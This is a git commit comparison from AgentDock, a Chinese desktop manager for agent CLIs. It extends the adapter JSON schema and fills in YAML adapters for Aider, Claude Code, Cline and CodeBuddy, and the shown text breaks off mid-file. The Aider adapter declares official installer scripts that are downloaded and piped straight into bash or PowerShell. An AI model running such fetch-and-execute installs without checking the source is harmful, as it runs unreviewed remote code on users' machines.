Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b19efef0f3 | ||
|
|
0cec468ae6 | ||
|
|
b0d7124170 | ||
|
|
4a2be5899d |
Generated
+1
@@ -22,6 +22,7 @@ version = "0.1.0"
|
|||||||
dependencies = [
|
dependencies = [
|
||||||
"serde",
|
"serde",
|
||||||
"serde_json",
|
"serde_json",
|
||||||
|
"serde_yaml",
|
||||||
"toml 0.8.2",
|
"toml 0.8.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|||||||
@@ -2,8 +2,20 @@
|
|||||||
|
|
||||||
跨平台、中文化、可扩展的 Agent CLI 软件管理器。帮助用户发现、安装、更新、配置、授权和排查 Agent CLI。
|
跨平台、中文化、可扩展的 Agent CLI 软件管理器。帮助用户发现、安装、更新、配置、授权和排查 Agent CLI。
|
||||||
|
|
||||||
**本仓库当前为 Wave 0 状态**:桌面应用空壳可运行(Tauri 2 + React 19 + TypeScript + Vite),含设计 Token、
|
## 入库说明
|
||||||
八层 Rust crate 骨架、适配器目录骨架、Windows 本机环境检测与 SQLite 空库。
|
|
||||||
|
本仓库为 AgentDock 的**入库初版**。当前进度做到 **Wave 2.2**(五件套全链路打通 + 两轮返工完成),
|
||||||
|
来源为此前各波施工的工位仓库。分支 `main` 的提交历史保留各波次 tag:
|
||||||
|
|
||||||
|
- `wave-0`:Tauri2 + React 桌面应用空壳可运行,Windows 本机环境检测
|
||||||
|
- `wave-1`:适配器框架与安全基座(schema 校验 / dry-run / exec 沙箱 / 密钥库 / 日志脱敏)
|
||||||
|
- `wave-0.5`:4K 布局与空态修复(老板验收 15 条,视觉规范 v1.3)
|
||||||
|
- `wave-2`:五件套打通全链路(安装/检测/配置/授权/诊断)
|
||||||
|
- `wave-2.1`:返工黑屏/安装进度/官方配置三层/文档深度/真机列表
|
||||||
|
- `wave-2.2`:流式安装输出、软件内授权四模式、本机环境一键装与总览缓存
|
||||||
|
|
||||||
|
**本仓库当前为 Wave 2.2 状态**:五件套(发现/安装/配置/授权/诊断)全链路打通,含流式安装输出、软件内
|
||||||
|
四种授权方式、本机环境一键安装与总览缓存。已过总工真机审核并部署到桌面。
|
||||||
|
|
||||||
## 仓库结构
|
## 仓库结构
|
||||||
|
|
||||||
|
|||||||
@@ -82,6 +82,7 @@
|
|||||||
"properties": {
|
"properties": {
|
||||||
"homepage": { "type": "string", "format": "uri" },
|
"homepage": { "type": "string", "format": "uri" },
|
||||||
"docs": { "type": "string", "format": "uri" },
|
"docs": { "type": "string", "format": "uri" },
|
||||||
|
"icon": { "type": "string", "format": "uri", "description": "官方图标地址(识别/许可说明与本地打包来源,不热链)" },
|
||||||
"allowed_hosts": {
|
"allowed_hosts": {
|
||||||
"type": "array",
|
"type": "array",
|
||||||
"items": { "type": "string" },
|
"items": { "type": "string" },
|
||||||
@@ -136,7 +137,17 @@
|
|||||||
"type": "string",
|
"type": "string",
|
||||||
"enum": ["npm_update", "self_update_cmd", "channel_reinstall", "winget_upgrade", "pypi_upgrade", "manual"]
|
"enum": ["npm_update", "self_update_cmd", "channel_reinstall", "winget_upgrade", "pypi_upgrade", "manual"]
|
||||||
},
|
},
|
||||||
"command": { "type": "array", "items": { "type": "string" } }
|
"command": { "type": "array", "items": { "type": "string" } },
|
||||||
|
"source": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": false,
|
||||||
|
"required": ["kind"],
|
||||||
|
"properties": {
|
||||||
|
"kind": { "type": "string", "enum": ["npm", "pypi", "github"] },
|
||||||
|
"package": { "type": "string", "description": "npm / pypi 包名" },
|
||||||
|
"repo": { "type": "string", "description": "GitHub 仓库 owner/repo" }
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"uninstall": {
|
"uninstall": {
|
||||||
@@ -166,6 +177,22 @@
|
|||||||
"notes_zh": { "type": "string" }
|
"notes_zh": { "type": "string" }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
"credential_files": {
|
||||||
|
"type": "array",
|
||||||
|
"items": { "type": "string" },
|
||||||
|
"description": "登录态/OAuth 凭据文件或目录(存在任一即视为已授权,如 kimi-code ~/.kimi-code/credentials)"
|
||||||
|
},
|
||||||
|
"test": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": false,
|
||||||
|
"required": ["url"],
|
||||||
|
"properties": {
|
||||||
|
"url": { "type": "string", "format": "uri", "description": "测试连通端点 URL" },
|
||||||
|
"key_header": { "type": "string", "description": "API Key 注入头名(如 x-api-key / Authorization)" },
|
||||||
|
"bearer": { "type": "boolean", "default": false, "description": "Authorization 头是否带 Bearer 前缀" },
|
||||||
|
"extra_headers": { "type": "array", "items": { "type": "string" }, "description": "额外请求头" }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
@@ -182,7 +209,12 @@
|
|||||||
"properties": {
|
"properties": {
|
||||||
"path": { "type": "string", "description": "支持 ~ 与平台变量" },
|
"path": { "type": "string", "description": "支持 ~ 与平台变量" },
|
||||||
"format": { "type": "string", "enum": ["toml", "json", "jsonc", "yaml", "env", "crushrc"] },
|
"format": { "type": "string", "enum": ["toml", "json", "jsonc", "yaml", "env", "crushrc"] },
|
||||||
"scope": { "type": "string", "enum": ["user", "project", "system"] }
|
"scope": { "type": "string", "enum": ["user", "project", "system"] },
|
||||||
|
"platforms": {
|
||||||
|
"type": "array",
|
||||||
|
"items": { "type": "string", "enum": ["windows", "linux"] },
|
||||||
|
"description": "适用平台;空数组 = 全平台适用(同一 CLI 不同平台路径不同时用于按平台选型)"
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
@@ -214,7 +246,24 @@
|
|||||||
"type": { "type": "string", "enum": ["string", "url", "enum", "bool"] },
|
"type": { "type": "string", "enum": ["string", "url", "enum", "bool"] },
|
||||||
"storage": { "type": "string", "enum": ["file", "env", "keyring"], "description": "keyring 永不进普通备份" },
|
"storage": { "type": "string", "enum": ["file", "env", "keyring"], "description": "keyring 永不进普通备份" },
|
||||||
"platforms": { "type": "array", "items": { "type": "string", "enum": ["windows", "linux"] } },
|
"platforms": { "type": "array", "items": { "type": "string", "enum": ["windows", "linux"] } },
|
||||||
"docs_url": { "type": "string", "format": "uri" }
|
"docs_url": { "type": "string", "format": "uri" },
|
||||||
|
"options": {
|
||||||
|
"type": "array",
|
||||||
|
"description": "enum 类型的可选值(value + 中文名)",
|
||||||
|
"items": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": false,
|
||||||
|
"required": ["value", "label_zh"],
|
||||||
|
"properties": {
|
||||||
|
"value": { "type": "string" },
|
||||||
|
"label_zh": { "type": "string" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"group": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "表单分组:auth(授权/登录)| common(常用配置)| advanced(高级配置,默认折叠)"
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -236,6 +285,8 @@
|
|||||||
"additionalProperties": false,
|
"additionalProperties": false,
|
||||||
"properties": {
|
"properties": {
|
||||||
"quickstart_zh": { "type": "string" },
|
"quickstart_zh": { "type": "string" },
|
||||||
|
"install_zh": { "type": "string", "description": "安装说明(中文)" },
|
||||||
|
"auth_zh": { "type": "string", "description": "授权说明(中文)" },
|
||||||
"commands": {
|
"commands": {
|
||||||
"type": "array",
|
"type": "array",
|
||||||
"items": {
|
"items": {
|
||||||
@@ -247,9 +298,41 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"params": {
|
||||||
|
"type": "array",
|
||||||
|
"description": "常用参数(中文)",
|
||||||
|
"items": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": false,
|
||||||
|
"properties": {
|
||||||
|
"param": { "type": "string" },
|
||||||
|
"desc_zh": { "type": "string" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
"updated_at": { "type": "string", "format": "date" },
|
"updated_at": { "type": "string", "format": "date" },
|
||||||
"risks_zh": { "type": "array", "items": { "type": "string" } }
|
"risks_zh": { "type": "array", "items": { "type": "string" } }
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
"models": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": false,
|
||||||
|
"description": "该 CLI 可加载的模型(模型列表来源:CLI 自带列举命令或适配器按官方文档维护的清单)",
|
||||||
|
"properties": {
|
||||||
|
"command": { "type": "array", "items": { "type": "string" }, "description": "CLI 自带的模型列举命令(如 agent --list-models)" },
|
||||||
|
"list": {
|
||||||
|
"type": "array",
|
||||||
|
"items": {
|
||||||
|
"type": "object",
|
||||||
|
"additionalProperties": false,
|
||||||
|
"required": ["id"],
|
||||||
|
"properties": {
|
||||||
|
"id": { "type": "string" },
|
||||||
|
"label_zh": { "type": "string" }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"definitions": {
|
"definitions": {
|
||||||
|
|||||||
+142
-21
@@ -1,28 +1,149 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · Aider(aider.chat)(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
# 注意:官方独立安装器 aider-install / PyPI aider-chat;不走 brew;独立 Python 3.12 环境。
|
||||||
#
|
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: aider
|
id: aider
|
||||||
name: Aider
|
name: Aider
|
||||||
name_zh: Aider
|
name_zh: Aider
|
||||||
vendor: aider.chat
|
vendor: aider.chat
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: Apache-2.0
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: 官方 PS 脚本 / PyPI;独立 Python 3.12 环境
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://aider.chat
|
||||||
|
docs: https://aider.chat/docs/
|
||||||
|
allowed_hosts: [aider.chat, pypi.org, github.com]
|
||||||
|
|
||||||
|
runtime_deps:
|
||||||
|
- id: uv
|
||||||
|
semver_range: ">=0"
|
||||||
|
required_for: [install]
|
||||||
|
- id: python
|
||||||
|
semver_range: ">=3.12"
|
||||||
|
required_for: [run]
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: official_script
|
||||||
|
channels:
|
||||||
|
- id: official_script
|
||||||
|
platforms: [windows]
|
||||||
|
script:
|
||||||
|
url: https://aider.chat/install.ps1
|
||||||
|
kind: powershell_irm
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: official_script
|
||||||
|
platforms: [linux]
|
||||||
|
script:
|
||||||
|
url: https://aider.chat/install.sh
|
||||||
|
kind: bash_pipe
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: pypi_uv
|
||||||
|
platforms: [windows, linux]
|
||||||
|
command: [uv, tool, install, aider-chat]
|
||||||
|
package: aider-chat
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: aider
|
||||||
|
version_args: ["--version"]
|
||||||
|
|
||||||
|
update:
|
||||||
|
method: pypi_upgrade
|
||||||
|
command: [uv, tool, upgrade, aider-chat]
|
||||||
|
source:
|
||||||
|
kind: pypi
|
||||||
|
package: aider-chat
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: package_manager
|
||||||
|
command: [uv, tool, uninstall, aider-chat]
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: api_key
|
||||||
|
env_keys: [ANTHROPIC_API_KEY, OPENAI_API_KEY]
|
||||||
|
notes_zh: 仅 API Key:各家模型 Key(Anthropic / OpenAI 等)
|
||||||
|
|
||||||
|
# 配置机制(调研底稿 Aider 章节):YAML。用户级 ~/.aider.conf.yml(项目级 .aider.conf.yml)。
|
||||||
|
configuration:
|
||||||
|
files:
|
||||||
|
- path: "~/.aider.conf.yml"
|
||||||
|
format: yaml
|
||||||
|
scope: user
|
||||||
|
environment:
|
||||||
|
- key: ANTHROPIC_API_KEY
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
fields:
|
||||||
|
- id: model
|
||||||
|
label_zh: 主模型
|
||||||
|
group: common
|
||||||
|
help_zh: 官方键 model,Aider 主模型(如 anthropic/claude-sonnet-4)
|
||||||
|
required: false
|
||||||
|
sensitive: false
|
||||||
|
type: string
|
||||||
|
storage: file
|
||||||
|
docs_url: https://aider.chat/docs/configuration/aider_conf.html
|
||||||
|
- id: api_key
|
||||||
|
label_zh: API Key
|
||||||
|
group: auth
|
||||||
|
help_zh: 存入系统密钥库(对应 ANTHROPIC_API_KEY / OPENAI_API_KEY 等环境变量)
|
||||||
|
required: false
|
||||||
|
sensitive: true
|
||||||
|
type: string
|
||||||
|
storage: keyring
|
||||||
|
docs_url: https://aider.chat/docs/configuration/api-keys.html
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: dependency.uv
|
||||||
|
- rule_id: dependency.python_below_min
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
- rule_id: config.corrupt
|
||||||
|
|
||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后配置 API Key,在项目目录运行 `aider`,或用 `aider --message "提示词"` 无头执行。
|
||||||
|
install_zh: 推荐官方独立安装器 aider-install(Windows 用 install.ps1 / Linux 用 install.sh,自动装独立 Python 3.12 环境);也可用 PyPI `uv tool install aider-chat`。不走 brew。
|
||||||
|
auth_zh: 仅 API Key:各家模型 Key(ANTHROPIC_API_KEY / OPENAI_API_KEY 等),保存后经环境变量注入。
|
||||||
|
commands:
|
||||||
|
- cmd: aider
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: aider --message "提示词"
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- cmd: aider --model <模型>
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- cmd: aider --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
- cmd: aider --yes
|
||||||
|
desc_zh: 自动接受所有建议
|
||||||
|
params:
|
||||||
|
- param: --message / --msg
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- param: --model
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- param: --yes
|
||||||
|
desc_zh: 自动接受所有建议
|
||||||
|
- param: --edit-format
|
||||||
|
desc_zh: 编辑格式
|
||||||
|
- param: --chat-mode
|
||||||
|
desc_zh: 会话模式
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- 不走 brew(官方不推荐,安装路径与依赖易出问题)
|
||||||
|
- 官方独立安装器自动装独立 Python 3.12 环境,本适配器声明 uv/python 依赖仅针对 PyPI 渠道
|
||||||
|
- 项目级 .aider.conf.yml 与多 provider 高级配置本表单不覆盖,以官方文档为准
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ platforms:
|
|||||||
official:
|
official:
|
||||||
homepage: https://claude.ai
|
homepage: https://claude.ai
|
||||||
docs: https://code.claude.com/docs/en/setup
|
docs: https://code.claude.com/docs/en/setup
|
||||||
allowed_hosts: [claude.ai, registry.npmjs.org, github.com]
|
allowed_hosts: [claude.ai, registry.npmjs.org, github.com, api.anthropic.com]
|
||||||
|
|
||||||
runtime_deps: []
|
runtime_deps: []
|
||||||
|
|
||||||
@@ -57,6 +57,9 @@ detect:
|
|||||||
update:
|
update:
|
||||||
method: winget_upgrade
|
method: winget_upgrade
|
||||||
command: [winget, upgrade, Anthropic.ClaudeCode]
|
command: [winget, upgrade, Anthropic.ClaudeCode]
|
||||||
|
source:
|
||||||
|
kind: npm
|
||||||
|
package: "@anthropic-ai/claude-code"
|
||||||
|
|
||||||
uninstall:
|
uninstall:
|
||||||
method: package_manager
|
method: package_manager
|
||||||
@@ -71,6 +74,11 @@ authorization:
|
|||||||
- mode: api_key
|
- mode: api_key
|
||||||
env_keys: [ANTHROPIC_API_KEY]
|
env_keys: [ANTHROPIC_API_KEY]
|
||||||
notes_zh: 设置 ANTHROPIC_API_KEY 后 CLI 优先使用 API Key
|
notes_zh: 设置 ANTHROPIC_API_KEY 后 CLI 优先使用 API Key
|
||||||
|
test:
|
||||||
|
url: https://api.anthropic.com/v1/models
|
||||||
|
key_header: x-api-key
|
||||||
|
extra_headers:
|
||||||
|
- "anthropic-version: 2023-06-01"
|
||||||
|
|
||||||
# 配置机制(调研底稿 §2「配置机制」):用户级 ~/.claude/settings.json(JSON)
|
# 配置机制(调研底稿 §2「配置机制」):用户级 ~/.claude/settings.json(JSON)
|
||||||
# 官方确认:settings.json 内 env 块可注入环境变量;ANTHROPIC_API_KEY / ANTHROPIC_BASE_URL /
|
# 官方确认:settings.json 内 env 块可注入环境变量;ANTHROPIC_API_KEY / ANTHROPIC_BASE_URL /
|
||||||
@@ -116,6 +124,15 @@ configuration:
|
|||||||
storage: keyring
|
storage: keyring
|
||||||
docs_url: https://code.claude.com/docs/en/env-vars
|
docs_url: https://code.claude.com/docs/en/env-vars
|
||||||
|
|
||||||
|
models:
|
||||||
|
list:
|
||||||
|
- id: claude-sonnet-4
|
||||||
|
label_zh: Claude Sonnet 4
|
||||||
|
- id: claude-opus-4
|
||||||
|
label_zh: Claude Opus 4
|
||||||
|
- id: claude-haiku-4
|
||||||
|
label_zh: Claude Haiku 4
|
||||||
|
|
||||||
diagnostics:
|
diagnostics:
|
||||||
- rule_id: path.not_installed
|
- rule_id: path.not_installed
|
||||||
- rule_id: path.not_in_path
|
- rule_id: path.not_in_path
|
||||||
|
|||||||
+119
-21
@@ -1,28 +1,126 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · Cline(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
|
||||||
#
|
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: cline
|
id: cline
|
||||||
name: Cline
|
name: Cline
|
||||||
name_zh: Cline
|
name_zh: Cline
|
||||||
vendor: Cline
|
vendor: Cline
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: Apache-2.0
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: 原生支持(npm,非 WSL)
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://github.com/cline/cline
|
||||||
|
docs: https://docs.cline.bot/
|
||||||
|
allowed_hosts: [registry.npmjs.org, github.com, docs.cline.bot]
|
||||||
|
|
||||||
|
runtime_deps:
|
||||||
|
- id: node
|
||||||
|
semver_range: ">=22"
|
||||||
|
required_for: [install, run]
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: npm
|
||||||
|
channels:
|
||||||
|
- id: npm
|
||||||
|
platforms: [windows, linux]
|
||||||
|
command: [npm, install, -g, "cline"]
|
||||||
|
package: cline
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: npm
|
||||||
|
platforms: [windows, linux]
|
||||||
|
command: [npm, install, -g, "cline@nightly"]
|
||||||
|
package: cline
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: cline
|
||||||
|
version_args: ["--version"]
|
||||||
|
|
||||||
|
update:
|
||||||
|
method: npm_update
|
||||||
|
command: [npm, update, -g, "cline"]
|
||||||
|
source:
|
||||||
|
kind: npm
|
||||||
|
package: cline
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: npm_uninstall
|
||||||
|
command: [npm, uninstall, -g, "cline"]
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: browser_oauth
|
||||||
|
command: [cline]
|
||||||
|
notes_zh: 运行 cline 后按提示浏览器登录(各家模型账号)
|
||||||
|
- mode: api_key
|
||||||
|
env_keys: [ANTHROPIC_API_KEY, OPENAI_API_KEY]
|
||||||
|
notes_zh: 各家 API Key(存入系统钥匙串;Cline 密钥本就进系统 keychain)
|
||||||
|
|
||||||
|
# 配置机制(调研底稿 Cline 章节):用户级 ~/.cline/data/settings/providers.json(JSON)。
|
||||||
|
# 密钥已用系统 keychain(与 AgentDock 密钥库策略一致)。
|
||||||
|
configuration:
|
||||||
|
files:
|
||||||
|
- path: "~/.cline/data/settings/providers.json"
|
||||||
|
format: json
|
||||||
|
scope: user
|
||||||
|
environment:
|
||||||
|
- key: ANTHROPIC_API_KEY
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
fields:
|
||||||
|
- id: api_key
|
||||||
|
label_zh: API Key
|
||||||
|
group: auth
|
||||||
|
help_zh: 存入系统密钥库(对应 ANTHROPIC_API_KEY 等环境变量)
|
||||||
|
required: false
|
||||||
|
sensitive: true
|
||||||
|
type: string
|
||||||
|
storage: keyring
|
||||||
|
docs_url: https://docs.cline.bot/
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: dependency.node_below_min
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
- rule_id: config.corrupt
|
||||||
|
|
||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后运行 `cline` 登录,或用 `cline -p "提示词"` 无头执行。
|
||||||
|
install_zh: 推荐 `npm install -g cline`(本适配器默认渠道,需 Node 22+);另有 nightly 通道 `npm install -g cline@nightly`。
|
||||||
|
auth_zh: ① 浏览器登录(运行 `cline` 后按提示);② API Key(各家模型,存入系统钥匙串);③ 本地模型(Ollama/LM Studio 等)。密钥本就进系统 keychain。
|
||||||
|
commands:
|
||||||
|
- cmd: cline
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: cline -p "提示词"
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- cmd: cline --model <模型>
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- cmd: cline --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
params:
|
||||||
|
- param: -p / --print
|
||||||
|
desc_zh: 无头模式执行后退出
|
||||||
|
- param: --model
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- param: --allowedTools
|
||||||
|
desc_zh: 预授权工具
|
||||||
|
- param: --continue
|
||||||
|
desc_zh: 续接最近会话
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- 密钥存入系统 keychain(与 AgentDock 密钥库策略一致,不额外落明文)
|
||||||
|
- providers.json 多 provider 高级配置本表单不覆盖,以官方文档为准
|
||||||
|
|||||||
+161
-21
@@ -1,28 +1,168 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · CodeBuddy Code(腾讯)(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3 + 真机实测
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
# 真机:codebuddy --version → 2.132.0;配置 ~/.codebuddy/settings.json(JSON,实测补齐)
|
||||||
#
|
# 双升级路径:npm(@tencent-ai/codebuddy-code)/ 原生(codebuddy install stable)
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: codebuddy
|
id: codebuddy
|
||||||
name: CodeBuddy Code
|
name: CodeBuddy Code
|
||||||
name_zh: CodeBuddy Code
|
name_zh: CodeBuddy Code
|
||||||
vendor: 腾讯
|
vendor: 腾讯
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: 专有(仅官方渠道安装、不重打包)
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: 原生支持(npm / 原生线,非 WSL)
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://codebuddy.ai
|
||||||
|
docs: https://codebuddy.ai/docs
|
||||||
|
allowed_hosts: [registry.npmjs.org, codebuddy.ai, github.com]
|
||||||
|
|
||||||
|
runtime_deps:
|
||||||
|
- id: node
|
||||||
|
semver_range: ">=22"
|
||||||
|
required_for: [install, run]
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: npm
|
||||||
|
channels:
|
||||||
|
- id: npm
|
||||||
|
platforms: [windows, linux]
|
||||||
|
command: [npm, install, -g, "@tencent-ai/codebuddy-code"]
|
||||||
|
package: "@tencent-ai/codebuddy-code"
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: official_script
|
||||||
|
platforms: [windows, linux]
|
||||||
|
command: [codebuddy, install, stable]
|
||||||
|
package: codebuddy-native
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: codebuddy
|
||||||
|
version_args: ["--version"]
|
||||||
|
version_regex: "^v?(\\d+\\.\\d+\\.\\d+)"
|
||||||
|
|
||||||
|
update:
|
